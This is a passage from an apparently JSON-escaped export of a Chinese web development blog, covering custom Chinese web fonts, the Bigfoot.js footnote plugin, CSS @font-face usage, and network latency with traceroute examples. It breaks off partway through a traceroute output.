\u0026#34;DFKai-sb\u0026#34;, \u0026#34;微軟正黑體\u0026#34;, \u0026#34;Microsoft JhengHei\u0026#34;, serif; } 詳細的 @font-face 用法請參考「CSS 網頁字型 @font-face 使用教學與範例」。\n以下是各種瀏覽器的測試結果。\n由於我沒有智慧型手機或是平板電腦，所以沒辦法測試 iOS 與 Android 的狀況，不過理論上應該也是可以正常顯示的，如果有發現不能顯示的問題，麻煩大家回報，謝謝。\n","permalink":"https://blog.gtwang.org/web-development/web-font-css-font-face/","summary":"\u003cp\u003e這裡教大家如何自己製作中文的字形檔，並轉為網頁用的字型格式，藉由 CSS 的 \u003ca href=\"/web-development/css-font-face/\"\u003e@font-face\u003c/a\u003e 功能在網頁中使用。\u003c/p\u003e\n\u003cp\u003e現在大部份的瀏覽器都可以支援 \u003ca href=\"/web-development/css-font-face/\"\u003e@font-face\u003c/a\u003e 這樣的自定網頁字型功能，但是到目前為止這項技術大部份都是應用於英文的字型上，而中文的字型檔由於大小通常都很大，如果讓使用者在看網頁文字時還要再下載好幾 MB 的字型檔，通常都會讓整個網頁效率大幅下降，所以大部份的網頁中的中文字都比較少使用自定的字型。\u003c/p\u003e","title":"自製中文網頁字形（Web Font）並內崁至網頁中（使用 CSS @font-face）"},{"content":"Bigfoot.js 是一個可以使用對話方塊顯示網頁文章註解的 jQuery Plugin，讓讀者在閱讀時不用捲動網頁即可即時閱讀註解。\n一般在網頁或是部落格中撰寫文章時，有時後會遇到需要加入註解（註腳）的情況，而讀者在閱讀含有註解的文章時，通常會需要使用捲軸（或是以超連結的方式）往下捲動網頁到下方的註解處來閱讀，閱讀完註解再回到本文繼續閱讀。\n如果遇到內容比較長的文章時，老是需要捲動網頁對於閱讀上並不是很方便，而 Bigfoot.js 就是一個可以解決這種困擾的 jQuery plugin，它可以讓文章的直接以對話方塊的方式呈現本文中，大大改善了讀者的使用者經驗（user experience）。\n使用 Bigfoot.js 若要在自己的網頁中使用 Bigfoot.js，首先從 GitHub 網站把 Bigfoot.js 函式庫下載下來（直接下載 Zip 格式的壓縮檔會比較方便），其中最重要的就是 bigfoot.min.js 這個 JavaScript 檔與 styles 目錄中的 CSS 設定檔，其餘的檔案在這裡是用不到的。\n由於 Bigfoot.js 是以 jQuery 為基礎所發展的函式庫，在引入 Bigfoot.js 的 JavaScript 程式之前，要先引入 jQuery，然後再引入剛剛下載的 bigfoot.min.js：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/jquery-1.8.3.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/bigfoot.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 接著再加上啟用 Bigfoot.js 的程式碼：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; $.bigfoot(); \u0026lt;/script\u0026gt; 在本文中需要加入註解的地方，使用這樣的語法：\n這是本文中需要加入註解的地方。\u0026lt;sup id=\u0026#34;fnref:1\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#fn:1\u0026#34; rel=\u0026#34;footnote\u0026#34;\u0026gt;1\u0026lt;/a\u0026gt;\u0026lt;/sup\u0026gt; 然後在原來文章放置註解地方，使用這樣的方式撰寫註解：\n\u0026lt;div class=\u0026#34;footnotes\u0026#34;\u0026gt;\u0026lt;ol\u0026gt; \u0026lt;li class=\u0026#34;footnote\u0026#34; id=\u0026#34;fn:1\u0026#34;\u0026gt; 這是註解文字。\u0026lt;a href=\u0026#34;#fnref:1\u0026#34; title=\u0026#34;回到本文\u0026#34;\u0026gt; ↩\u0026lt;/a\u0026gt;\u0026lt;p\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt;\u0026lt;/div\u0026gt; 這裡我們還是有使用傳統的超連結，如果正常來說 Bigfoot.js 啟用之後，這些超連結是用不到的，只不過加入這些可以讓不支援 CSS 或 JavaScript 的瀏覽器直接顯示傳統型式的註解，雖然註解對話方塊的特效無法使用，但是至少閱讀上是沒問題的。\n最後再引入自己喜歡的 CSS 樣式表：\n\u0026lt;link href=\u0026#34;style/bigfoot.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt;\u0026lt;/link\u0026gt; 在 Bigfoot.js 的 Demo 網站可以讓你比較各種 CSS 設定的效果，你可以挑選自己喜歡的樣式後，在剛剛下載的 styles 目錄中找到對應名稱的 CSS 設定檔，將其引入後就可以使用了，例如 Bottom 這個樣式就引入 styles/bigfoot-bottom/bigfoot-bottom.css 這個 CSS 檔，其餘以此類推。當然你也可以以這些 CSS 設定檔為基礎，自行設計符合自己網站風格的樣式。\nBigfoot.js 也有提供一些選項讓使用者自訂：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var bigfoot = $.bigfoot( { deleteOnUnhover: false, preventPageScroll: false, hoverDelay: 250 } ); \u0026lt;/script\u0026gt; 而在呼叫 $.bigfoot() 函數時所傳回的物件（bigfoot）中也有一些方法函數可以使用。以下介紹各種選項與方法函數的使用方式。\n選項 這裡列出所有 $.bigfoot() 函數可用的參數與使用方式。\nactionOriginalFN Bigfoot.js 會將註解的內容打包成對話方塊的形式，動態顯示在本文中，而這個參數則是指定原來文章底部的註解該怎麼處理，可用的選項有：hide（使用 display: none;）、delete 與 ignore（讓原來的註解也一併顯示出來），預設為 hide。 activateOnHover 設定是否要在滑鼠移動到註解按鈕上時，自動顯示註解。預設為 false。 allowMultipleFN 設定是否允許多條註解同時顯示。預設為 false。 appendPopoversTo 指定註解文字要被安插在 DOM 的哪個位置，例如指定為 \u0026quot;body\u0026quot; 可以將註解直接加在 body 元素上，這樣的方式可以避免註解的 CSS 樣式設定與網頁中其餘的 CSS 樣式設定互相衝突的問題。如果指定為任何被視為 false 的值，則會將註解文字放在最接近註解按鈕的網頁元素上。預設為 undefined。 deleteOnUnhover 設定由 activateOnHover 選項自動顯示的註解是否要在滑鼠移開之後就自動消失。預設為 false。 hoverDelay 若啟用 deleteOnUnhover 選項，則可使用 hoverDelay 設定滑鼠移開多久之後，才讓註解消失，單位為毫秒（milliseconds）。預設為 250。 popoverDeleteDelay 當註解消失時，這個選項指定在 active 這個 class 移除之後，要過多久才將註解真正從 DOM 移除。這個選項只有在自訂 CSS 的 transitions 時才會用到。 popoverCreateDelay 設定在註解按鈕被按下（或是滑鼠移動到按鈕上），按鈕作用之後，間隔多久才讓註解顯示。預設為 100。 positionContent 設定是否要讓 JavaScript 自動控制註解對話方塊跳出的位置。預設為 true。 preventPageScroll 當註解文字很長的時候，使用者可以利用滑鼠的滾輪在註解對話方塊中上下捲動，而 preventPageScroll 是用來設定當註解的文字捲動到底部時，是否要將滑鼠捲動的事件轉送到瀏覽器的視窗上，讓整個網頁接著捲動。預設為 true。 scope 以 CSS 的 class 來指定 Bigfoot.js 的套用範圍，例如若指定為 \u0026quot;.bigfoot-active\u0026quot;，則該 $.bigfoot() 就只會影響有指定為 bigfoot-active 這個 CSS class 的網頁元素。 contentMarkup 指定註解對話方塊的樣板，這個部份一般建議不要更動，因為它會跟 Bigfoot.js 本身的 JavaScript 運作相關。 buttonMarkup 指定註解按鈕的樣板，這個同樣也會跟 Bigfoot.js 本身的 JavaScript 運作相關，也不建議更動。 方法 $.bigfoot() 函數所傳回的物件中，有包含下列的方法函數可以用來控制註解按鈕與對話方塊：\nclose(footnotes, timeout) 關閉 footnotes 所指定的註解對話方塊，而 timeout 的作用類似 popoverDeleteDelay。 activate(button) 按下 button 所指定的註解按鈕。 reposition() 重置所有的註解對話方塊。 getSetting(setting) 取得 setting 所指定的設定值。 updateSetting(setting, newValue) 更新設定值，並傳回舊的值。 ","permalink":"https://blog.gtwang.org/web-development/bigfootjs-jquery-plugin-for-footnotes/","summary":"\u003cp\u003e\u003ca href=\"https://bigfootjs.com/\"\u003eBigfoot.js\u003c/a\u003e 是一個可以使用對話方塊顯示網頁文章註解的 jQuery Plugin，讓讀者在閱讀時不用捲動網頁即可即時閱讀註解。\u003c/p\u003e\n\u003cp\u003e一般在網頁或是部落格中撰寫文章時，有時後會遇到需要加入註解（註腳）的情況，而讀者在閱讀含有註解的文章時，通常會需要使用捲軸（或是以超連結的方式）往下捲動網頁到下方的註解處來閱讀，閱讀完註解再回到本文繼續閱讀。\u003c/p\u003e","title":"Bigfoot.js：以對話方塊顯示網頁文章註解的 jQuery Plugin"},{"content":"這裡介紹 CSS 的 @font-face 使用方式與範例，讓網頁設計者可以在網頁的字型使用上更有彈性。\n@font-face 這個 CSS 的 at-rule 可以讓網頁設計者可以使用網路上的字型檔來顯示網頁中的文字，甚至還可以讓設計者使用自己所提供的字型檔，讓網頁的設計更具有彈性，在選擇字型時就可以不需要考慮一般的電腦是否有安裝，凡是放在網路上的任何字型檔都可以使用。而 @font-face 除了在 CSS 的頂層設定上使用之外，在任何 CSS 條件群組（conditional-group）at-rule 中也可以使用。\n@font-face 的基本使用方式如下：\n@font-face { font-family: Gentium; src: url(https://example.com/fonts/Gentium.woff); } p { font-family: Gentium, serif; } 這裡我們指定了 Gentium 這個字型的字型檔案網址為 https://example.com/fonts/Gentium.woff，並設定讓所有網頁中的 \u0026lt;p\u0026gt; 都使用 Gentium 來顯示，而如果碰到不支援 @font-face 的瀏覽器，則會使用第二順位的 serif 這個一般的字型來顯示。\n這是另外一個範例：\n@font-face { font-family: MyHelvetica; src: local(\u0026#34;Helvetica Neue Bold\u0026#34;), local(\u0026#34;HelveticaNeue-Bold\u0026#34;), url(MgOpenModernaBold.ttf); font-weight: bold; } 這裡定義一個名稱為 MyHelvetica 的粗體字，而可使用的字型位置依序為使用者電腦中的 Helvetica Neue Bold 與 HelveticaNeue-Bold 兩個字型名稱，如果使用者電腦中找不到這些字型，則從網頁上下載 MgOpenModernaBold.ttf 這個字型檔。\n以下是 @font-face 中各種屬性的詳細介紹。\nDescriptors 以下是在 @font-face 這個 at-rule 中可以使用的 descriptor 標籤，其中 font-family 與 src 這兩個是必要的 descriptor，其餘的則是選擇性的。\nfont-family 指定字型名稱，這個名稱會把原本在字型檔中的名稱覆蓋掉，在 CSS 中指定字型時都會以這個名稱為準，這樣的方式可以讓設計者自行定義名稱的命名方式，而不會受到原本字型名稱的干擾。\nsrc src 可用來指定字型檔案的位置，設計者可以一次指定多個字型檔案位置，依照優先順序並以逗點分隔的方式一一指定，當瀏覽器需要載入字型檔的時候，就會依序從這裡所指定的位置嘗試進行載入，如果碰到不支援或無法連接的位置，就會自動跳過並嘗試下一個，直到取得正確的字型檔為止。這裡可以使用的指定方式有兩種，一個是使用 url() 指定字型檔案的 URL 網址，另一種則是使用 local() 配合字型名稱來指定使用者電腦中所安裝的字型。\n在指定字型的 URL 網址的規則跟一般 CSS 設定 URL 的慣例相同，可以使用相對位置或絕對位置，如果使用相對位置的話，則其位置的參考點會是包含這個 @font-face 的 CSS 設定檔所在的目錄。\nsrc: url(fonts/simple.woff); /* 相對於 CSS 設定檔的位置 */ src: url(/fonts/simple.woff); /* 絕對位置 */ 由於 SVG 格式的檔案可以包含多個字型，如果是使用 SVG 格式的字型檔，則在 URL 中就必須要指定出要使用 SVG 檔案中的哪一個字型，例如：\nsrc: url(fonts.svg#simple); /* 使用 SVG 檔案中 id 為 \u0026#39;simple\u0026#39; 的字型 */ 在一個 @font-face 中使用類似 SVG 這樣可以包含多個字型的檔案時，一次只能使用其中一個字型，而要判斷使用者所指定的字型是哪一個，則是依據字型檔案中的 fragment identifier 來判斷，如果某些字型檔案沒有 fragment identifier，則可以使用字型的順序來指定，例如 font-collection#1 就是指 font-collection 中第一個字型，以此類推。如果設計者沒有指定要使用的字型，則預設會直接使用檔案中的第一個字型。\n在使用 URL 網址指定字型檔時，除了必要的 url() 之外，還可以再加上一個選擇性的 format() 來告訴瀏覽器這個字型檔案的格式為何，如果瀏覽器發現它不支援該字型格式，就可以直接跳過這個字型，省去下載字型檔案的時間，如果沒有指定 format() 的話，瀏覽器就只能將字型下載之後才能進行判斷是否要使用該字型檔案。\n/* 如果 WOFF 格式不支援，則改用 OpenType 格式 */ @font-face { font-family: bodytext; src: url(ideal-sans-serif.woff) format(\u0026#34;woff\u0026#34;), url(basic-sans-serif.ttf) format(\u0026#34;opentype\u0026#34;); } 下表是各種字型格式與 format() 指定方式的對應。\n字型格式 附檔名 format() 指定方式 WOFF（Web Open Font Format） .woff \u0026quot;woff\u0026quot; TrueType .ttf \u0026quot;truetype\u0026quot; OpenType .ttf 或 .otf \u0026quot;opentype\u0026quot; Embedded OpenType .eot \u0026quot;embedded-opentype\u0026quot; SVG Font .svg 或 .svgz \u0026quot;svg\u0026quot; 由於一些歷史發展上的因素，TrueType 與 OpenType 兩種字型格式有重疊的部分，\u0026quot;truetype\u0026quot; 與 \u0026quot;opentype\u0026quot; 這兩個格式在實務上應該被視為同一種字型，也就是說指定為 \u0026quot;opentype\u0026quot; 的字型檔，並不一定會包含 Postscript CFF 或 OpenType 相關的資訊。\n設計者也可以讓瀏覽器先嘗試從使用者的電腦中載入字型，如果使用者電腦中沒有安裝該字型，再從網路上下載，像這樣的狀況就可以使用 local() 配合使用者電腦中的字型名稱來指定要使用的字型，例如：\n/* Gentium 字型 */ @font-face { font-family: MyGentium; src: local(Gentium), /* 指定使用者電腦中的 Gentium 字型 */ url(Gentium.woff); /* 如果使用者電腦中找不到，則從網路下載 */ } 在 local() 中指定字型名稱時，也可以將字型的名稱使用引號包起來，如果沒有使用引號的話，字型的名稱就會被自動轉換為以單一空白字元連接的字串。\n對於 OpenType 與 TrueType 的字型而言，local() 中的名稱會用來比對 Postscript 名稱或是字形的完整名稱，至於會使用哪一種則會因為不同的平台或字型而有不同，所以設計者如果要讓自己的網頁字型在各種平台都可以顯示，最好將兩種名稱都指定上去：\n/* Gentium 字型 */ @font-face { font-family: MyGentium; src: local(Gentium Bold), /* 字型的完整名稱 */ local(Gentium-Bold), /* Postscript 名稱 */ url(GentiumBold.woff); /* 從網路下載 */ } 這是使用使用者電腦的字型與網路上 SVG 字型檔的例子：\n@font-face { font-family: Headline; src: local(Futura-Medium), url(fonts.svg#MyGeometricModern) format(\u0026#34;svg\u0026#34;); } 如果要使用多個字型位置，要把所有的位置寫在一個 src 屬性中，不可以分成多個，否則後來的 src 會將前面的設定覆蓋掉：\n@font-face { font-family: MainText; src: url(gentium.eot); /* 適用於舊的瀏覽器 */ src: local(\u0026#34;Gentium\u0026#34;), url(gentium.woff); /* 覆蓋掉上面的 src 設定 */ } 這裡的 gentium.eot 這個字型設定會被覆蓋掉，等於沒有這行設定。\nfont-style 指定字型的 style 設定值。可用的選項有 normal、 italic、 oblique，預設為 normal。\nfont-weight 指定字型的 weight 值。可用的選項有 normal、 bold、 100、 200、 300、 400、 500、 600、 700、 800、 900，預設為 normal。\nfont-stretch 指定字型的 stretch 設定值。可用的選項有 normal、ultra-condensed、extra-condensed、condensed、semi-condensed、semi-expanded、expanded、extra-expanded、ultra-expanded，預設為 normal。\nfont-style、font-weight 與 font-stretch 這三個屬性是用來定義該 @font-face 的字型特性，讓瀏覽器在解析 CSS 樣式的字型時，可以透過這些資訊比對特定的字型，讓瀏覽器可以選擇只下載那些真正有在網頁上被使用的字型檔。而在這些 descriptors 中可以使用的選項裡面，除了一些相對性的選項無法使用之外（如 bolder 與 lighter），其餘的都跟一般 CSS 字型屬性所使用的選項相同。\nunicode-range 指定 @font-face 所定義的字型中，所涵蓋的萬國碼（unicode）範圍，這個資訊可提供給瀏覽器作為參考，來決定是否要下載該字型檔。\n萬國碼的範圍表示方式是以 U+ 或 u+ 開頭，而範圍的指定則可使用下面三種方式：\n單一 codepoint（U+416）：使用 1 至 6 位數的十六進位數字，指定一個 Unicode 的 codepoint。 範圍區間（U+400-4ff）：使用連字線（-）與兩個 Unicode 的 codepoints 來指定一段範圍區間。 萬用字元（U+4??）：使用萬用字元（?）指定 codepoint 範圍。這裡的 ? 代表任何一個十六進位的數字。 設計者可以使用逗點分隔的方式，結合多個範圍表示方式，例如：\n@font-face { font-family: BBCBengali; src: url(fonts/BBCBengali.woff) format(\u0026#34;woff\u0026#34;); unicode-range: U+00-FF, U+980-9FF; } 設計者可以利用多個 @font-face 與不同的萬國碼範圍，將一個字型區分為常用的區段與不常用的區段，讓瀏覽器只需要下載該網頁上需要的部份，這樣的作法可以節省一部分的網路傳輸量。例如：\n/* 備用字型 - 大小：4.5MB */ @font-face { font-family: DroidSans; src: url(DroidSansFallback.woff); /* 沒有指定萬國碼區間，預設涵蓋所有的範圍 */ } /* 日文 - 大小： 1.2MB */ @font-face { font-family: DroidSans; src: url(DroidSansJapanese.woff); unicode-range: U+3000-9FFF, U+ff??; } /* 英文字型與一些符號等 - 大小： 190KB */ @font-face { font-family: DroidSans; src: url(DroidSans.woff); unicode-range: U+000-5FF, U+1e00-1fff, U+2000-2300; } 而其使用方式跟一般的 @font-face 一樣：\nbody { font-family: DroidSans; } 使用這樣的分開的字型檔時，如果碰到只含有一般英文字的網頁：\n\u0026lt;p\u0026gt;This is that\u0026lt;/p\u0026gt; 瀏覽器就只需要下載英文字型的部份（DroidSans.woff）。\n接著我們來看這個含有特殊符號（⇨）的例子：\n\u0026lt;p\u0026gt;This \u0026amp;#x21e8; that\u0026lt;p\u0026gt; 首先瀏覽器會檢查英文字型的萬國碼範圍，因為 U+2000-2300 這個範圍有包含 U+21E8 這個 code point，所以瀏覽器會先下載這個英文字型，但是這個英文字型中實際上並沒有對應這個符號的 glyph，所以瀏覽器接著就檢查日文字型的萬國碼範圍（U+3000-9FFF 與 U+ff??），而這兩個範圍都沒有包含 U+21E8 這個 code point，所以瀏覽器就會直接跳過這個日文字型，不會進行下載的動作。最後因為備用字型沒有指定萬國碼的範圍，預設會包含所有的 code points，所以瀏覽器就會下載 DroidSansFallback.woff 這個字型檔來顯示這個特殊符號。\n將不同字型檔與萬國碼範圍的 @font-face 指定成同一個 font-family 的方式，除了可以減低網路的覆載之外，還有另外一個用處，就是建立一個複合式的字型：\n@font-face { font-family: JapaneseWithGentium; src: local(MSMincho); /* 沒有指定萬國碼區間，預設涵蓋所有的範圍 */ } @font-face { font-family: JapaneseWithGentium; src: url(http://www.example.com/fonts/Gentium.woff); unicode-range: U+0-2FF; } 這樣在使用 JapaneseWithGentium 這個字型時，只要碰到拉丁字母（U+0-2FF）就會自動使用 Gentium.woff 這個字型檔。\nfont-variant 這個部份跟字型檔案的選擇無關，指示指定字型預設的 variant 設定值而已。\n參考資料 W3C: The @font-face rule ","permalink":"https://blog.gtwang.org/web-development/css-font-face/","summary":"\u003cp\u003e這裡介紹 CSS 的 \u003ccode\u003e@font-face\u003c/code\u003e 使用方式與範例，讓網頁設計者可以在網頁的字型使用上更有彈性。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e@font-face\u003c/code\u003e 這個 CSS 的 at-rule 可以讓網頁設計者可以使用網路上的字型檔來顯示網頁中的文字，甚至還可以讓設計者使用自己所提供的字型檔，讓網頁的設計更具有彈性，在選擇字型時就可以不需要考慮一般的電腦是否有安裝，凡是放在網路上的任何字型檔都可以使用。而 \u003ccode\u003e@font-face\u003c/code\u003e 除了在 CSS 的頂層設定上使用之外，在任何 CSS 條件群組（conditional-group）at-rule 中也可以使用。\u003c/p\u003e","title":"CSS 網頁字型 @font-face 使用教學與範例"},{"content":"這裡介紹網路的延遲（Latency）與頻寬（Bandwidth）是什麼，以及它們對於我們的網路有什麼影響。\n在過去幾年中，網路效能最佳化（web performance optimization，簡稱 WPO）這個產業快速成長，這個現象也顯示了網路速度對於使用者而言也越來越重要，如果一個網站可以提供比較快速的網路服務，除了改善使用者經驗之外，連同網站的流量與其附帶的效益也都會跟著增加。\n網站速度對於使用者（顧客）的影響應該是顯而易見的，一個網站要讓使用者感覺很好，除了網頁設計與美工之外，瀏覽網頁的流暢度也很重要，如果使用者在瀏覽一家公司的網站時，看網頁老是要等很久，即便網站做得很漂亮，我想大概也不會給使用者什麼好映像，反之如果網站反應速度很快，就比較不會產生這樣的問題。\n而要讓網站的速度快，就要先了解許多基本的技術細節，其中會影響網路的兩個重要因素就是延遲（Latency）與頻寬（Bandwidth）：\n延遲（Latency）：一個封包從來源端送出後，到目的端接收到這個封包，中間所花的時間。 頻寬（Bandwidth）：傳輸媒介的最大吞吐量（throughput）。 在了解網路延遲與頻寬的關係之後，接下來就可以更深入研究 TCP 與 UDP 兩種通訊協定的內部結構與效能特性，進而探討以這兩種協定為基礎的應用。\nHibernia Express：減低大西洋的網路延遲 在金融市場上網路的延遲對於頻繁的演算法交易（algorithmic trading）影響很大，只是幾毫秒（milliseconds）的差異也會造幾百萬的虧損或是獲利。\n在 2011 年年初，Huawei 與 Hibernia Atlantic 兩家公司開始建造一條橫跨大西洋的光纖網路 Hibernia Express，這條網路長達 3000 英哩，連接英國倫敦與美國紐約，而建造這條光纖網路只有一個目的，就是為了可以減少中間的路由器數量，讓交易商在這兩個城市之間使用網路傳輸資料時，可以省下 5 毫秒的網路延遲。\n這條光纖網路一旦建造完成，會專門提供給金融機構來使用，建造這條網路需要花費超過 4 億美元，而在建造完成之後，這些金融機構每秒可以透過這條網路節省 8 千萬美元！網路延遲在這裡是非常昂貴的。\n網路延遲（Latency）的組成元素 網路的延遲就是一個訊息或是封包從來源端傳送到目的端所需要的時間，這個定義很簡單易懂，但是在這個背後其實還隱藏了很多其他很多有用的資訊，每一種系統中都會有許多會影響網路延遲的原因，了解有哪些影響因素與其運作方式也是很重要的。\n在網路上有許多路由器專門負責遞送網路封包，這樣的路由器通常會有下面這些會造成網路延遲的因素：\npropagation delay：封包在網路線上傳輸所花費的時間，與網路線上電子訊號跑的速度有關，這個時間就是距離除以訊號傳送速度所得到的數值。假設傳送距離為 d ，傳輸的速率為 s ，那麼 propagation delay 就是 d/s。 transmission delay：網路卡將資料傳送到網路線上（或從網路線上接收）所花的時間，與網路設備的傳送速度有關（如高速乙太網路傳送速度為 100Mbps）。假設頻寬為 L（bits），數據傳輸速率為 R（bits/sec），這樣產生的 transmission delay 就是 L/R。 nodal processing delay：路由器處理封包表頭（packet header）、檢查位元資料錯誤與尋找配送路徑等所花費的時間。 queuing delay：路由器因為某些因素無法立刻將封包傳送到網路上，造成封包暫存在佇列（queue）中等待的時間。 把以上這幾種因素造成的延遲時間加總之後，就是使用者端與伺服器端之間的網路延遲，propagation delay 的時間是取決於訊號傳輸的距離與傳送的媒介，由於網路訊號的傳遞速度是光速，所以 propagation delay 通常都可以維持在非常小的範圍內。\n在另一方面，transmission delay 則是由網路設備的資料傳送速度來決定的，這個部份則跟伺服器與使用者之間的距離無關。假設現在有兩條網路，其中一條網路的速度是 1 Mbps，另外一條則是 100 Mbps，如果使用這兩條網路各傳送一個 10 Mb 大小的資料，則將資料放進第一條 1 Mbps 的網路中傳送會需要 10 秒鐘，而放進另一條 100 Mbps 的網路則只需要 0.1 秒。\n接著當一個網路封包傳送到路由器（router）時，路由器就會檢查封包的表頭來決定接下來該把這個封包往哪裡遞送，除了表頭之外，也可能會一併檢查封包內部的資料，而這些動作都會需要時間，雖然這些動作大部分都是由硬體在處理，耗費的時間非常少，但是這個時間還是存在的。另外，如果封包傳送給路由器的速度太快，路由器一時來不及處理的話，這些來不及處理的封包就會被放進緩衝區的佇列中等候，而這個等候所耗費的時間就是 queuing delay。\n每一個封包再網路上傳送時，都一定會碰到這四種延遲，來源端與目的端的距離越遠，所造成的 propagate delay 就會越長；傳輸過程中如果經過多的路由器，那麼 nodal processing delay 與 transmission delay 也會越長；網路的覆載量比較高的時候，也會有比較高的機率造成路由器來不及處理而把封包放入佇列中，進而增加 queuing delay 的時間。\n網路的 Bufferbloat 問題 Bufferbloat 這個名詞是由 Jim Gettys 在 2010 年創造出來的，這是一個 queuing delay 影響整個網路效能的好例子。\n這裡面的問題在於現在許多路由器都配備有很大的緩衝儲存空間，為的就是確保沒有封包會因為裝不下而遺失，但是這個做法卻會破壞了 TCP 連線避免網路擁塞的機制（congestion avoidance mechanisms），並且產生更高的網路延遲。\n還好現在已經有一個新的 CoDel active queue management 演算法已經被提出來了，目前正實作於 Linux 3.5+ 版本的核心中，如果你要了解更多關於這方面的資訊，可以參考 ACM Queue 的 Controlling Queue Delay 說明。\n光速與 Propagation Latency 愛因斯坦（Einstein）在狹義相對論（special relativity）中指出：任何能量、物質與訊息的傳遞速度上限就是光速，這個現象也成為 propagation time 的一個不可突破的限制。\n好消息是光速很快，每秒可以傳遞 299,792,458 公尺，但是壞消息是這個速度是光在真空的狀態下所行走的速度，而我們的網路封包通常都是在一些介質中傳遞（如銅線或光纖），這會造成傳遞的速度下降（詳見下表）。而光在真空中的速度與介質中的速度比就是該介質的折射率（refractive index），折射率越大的介質訊號在其中傳遞的速度就越慢。\n目前網路封包在長距離的傳輸上都是使用光纖（optical fiber），其折射率大約是在 1.4 到 1.6 之間，未來如果材料科學日益進步，也有可能可以降低這個數值，若以 1.5 的折射率來計算，訊號在光纖中的傳遞速度已經達到每秒大約 200,000,000 公尺，這已經是一個很快的速度了，另外這個速度也距離理論上的最快速度不遠。\n表一：真空與光纖中訊號傳遞的時間 傳輸路徑 傳輸距離 真空中傳輸時間 光纖中傳輸時間 光纖中訊號往返時間（Round-trip time，RTT） 紐約到舊金山 4,148 km 14 ms 21 ms 42 ms 紐約到倫敦 5,585 km 19 ms 28 ms 56 ms 紐約到雪梨 15,993 km 53 ms 80 ms 160 ms 地球一圈 40,075 km 133.7 ms 200 ms 400 ms 雖然光速非常快，但是在美國紐約與澳洲雪梨之間往返還是要花 160 毫秒的時間，另外這個時間是依據地球上的兩地的最短距離來計算的，實際上也不可能會有這樣的電纜線可以使用，通常網路封包實際的傳輸距離會比這裡的距離更長，並且還要加上中間各個路由器所產生的 routing、processing、queuing 與 transmission delays，因此結合這些零零總總的因素，從美國紐約到澳洲雪梨之間實際的 RTT 大約會在 200 到 300 毫秒之間，不過看起來其實還是很快。\n在一般的情況下，我們通常不會在生活中使用毫秒這樣小的單位來計時，但是根據研究顯示，延遲時間達到 100 到 200 毫秒時，人就會感覺到有點「lag」，到了 300 毫秒時，就會感覺更嚴重的遲滯，而到了 1000 毫秒（1 秒）時，人就會開始轉移注意力到其他的事情上了。\n也就是說在開發任何應用程式時，若要讓使用者有好的使用經驗，並且可以專心在自己要處理的事情上，你必須要設法將延遲控制在 100 毫秒之內，尤其是在牽涉到網路的應用程式上更容易出現這個問題，所以如果想要發展出好的網路應用程式，在程式發展與設計的各個階段都要小心控制好網路的延遲。\n內容傳遞網路 內容傳遞網路（Content delivery network，簡稱 CDN）有許多的優點，其中一個很重要的就是將伺服器分散在不同地點，讓世界各地的使用者可以從離自己最近的伺服氣上取得資料，這樣可以有效減低封包傳遞的 propagation time。\n雖然封包傳遞的速度無法加快，但是我們可以透過減短傳輸路徑的方式來讓網路延遲下降，有效利用 CDN 的機制可以對於整體的效能有顯著的提昇。\n最後一哩路 雖然橫跨海洋或大陸的距離很長，但是通常主要造成網路延遲的地方卻不是這些長距離傳輸的過程，而是在到達目的地前的最後一哩路（last-mile）。\n為了要讓每個人都可以上網，地方的 ISP 必須將電纜線拉到每一家每一戶，把一個地區內所有的網路封包集中到 ISP 的路由器上，再對外進行傳送，而這個動作會因為 ISP 的佈線設計與所使用的技術不同而造成不同的網路延遲，不過通常大約是數十毫秒左右。\n根據美國聯邦通信委員會（Federal Communications Commission，簡稱 FCC）在 2013 上半年的 Measuring Broadband America 報告顯示，在網路流量較大的時段，光纖在 ISP 路由器到使用者家中這段傳輸所花費的平均時間是 18 毫秒，而一般的電纜線（cable）花費的時間是 26 毫秒，而 DSL 則是 44 毫秒。\n這裡的 18 到 44 毫秒只是網路封包從使用者的家裡傳輸到最近的 ISP 路由器所花費的時間，根本還沒開始對外進行後續的傳送。FCC 這份報告是針對美國所做的研究，不過不果你在哪裡，最後一哩路的網路延遲是每一個 ISP 都會遇到的問題，如果你有興趣看看自己的 ISP 所提供的網路品質，在 Linux 與 Mac OS X 中可以使用 traceroute 指令來檢測看看，若在 Windows 系統則可使用 tracert：\ntraceroute google.com 輸出為\ntraceroute to google.com (74.125.224.102), 64 hops max, 52 byte packets 1 10.1.10.1 (10.1.10.1) 7.120 ms 8.925 ms 1.199 ms 2 96.157.100.1 (96.157.100.1) 20.894 ms 32.138 ms 28.928 ms 3 x.santaclara.xxxx.com (68.85.191.29) 9.953 ms 11.359 ms 9.686 ms 4 x.oakland.xxx.com (68.86.143.98) 24.013 ms 21.423 ms 19.594 ms 5 68.86.91.205 (68.86.91.205) 16.578 ms 71.938 ms 36.496 ms 6 x.sanjose.ca.xxx.com (68.86.85.78) 17.135 ms 17.978 ms 22.870 ms 7 x.529bryant.xxx.com (68.86.87.142) 25.568 ms 22.865 ms 23.392 ms 8 66.208.228.226 (66.208.228.226) 40.582 ms 16.058 ms 15.629 ms 9 72.14.232.136 (72.14.232.136) 20.149 ms 20.210 ms 18.020 ms 10 64.233.174.109 (64.233.174.109) 63.946 ms 18.995 ms 18.150 ms 11 x.1e100.net (74.125.224.102) 18.467 ms 17.839 ms 17.958 ms 10.1.10.1 第一個節點：最近的無線路由器。 x.1e100.net 最後一個節點：Google 的伺服器。 在這個例子中，網路封包從桑尼維爾（Sunnyvale）轉送到聖塔克拉拉（Santa Clara）、奧克蘭（Oakland）、聖荷西（San Jose），然後傳送至「529 Bryant」資料中心，在那裏轉送到 Google 的伺服器上，整個過程平均花費大約 18 毫秒，看起來狀況很不錯。\n在來看從中華電信的 ADSL 到 www.hinet.net 網站的狀況：\ntraceroute www.hinet.net traceroute to www.hinet.net (202.39.253.11), 30 hops max, 60 byte packets 1 192.168.0.1 (192.168.0.1) 1.892 ms 2.899 ms 3.924 ms 2 h254.s98.ts.hinet.net (168.95.98.254) 